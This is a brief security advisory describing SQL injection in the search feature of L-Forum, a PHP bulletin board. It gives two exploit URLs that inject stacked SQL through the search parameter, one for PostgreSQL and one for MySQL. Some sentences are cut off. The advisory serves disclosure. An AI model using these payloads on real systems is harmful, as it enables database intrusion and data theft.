------------------------------------------------------------------------

SUMMARY

 <http://sourceforge.net/projects/l-forum/> L-Forum is lightweight but
fully featured threaded bulletin board system written in PHP and back
ended with MySQL/PostgreSQL. A security vulnerability in the product's

arbitrary SQL commands by injecting them through user provided data.

in the search member.

Exploit:
 PostgreSQL:
http://localhost/search.php?search=a%27%20order%20by%20time%20desc%3b%20[query]

MySQL:
http://localhost/search.php?search=a%25%27%20order%20by%20time%20desc%3b%20[query]
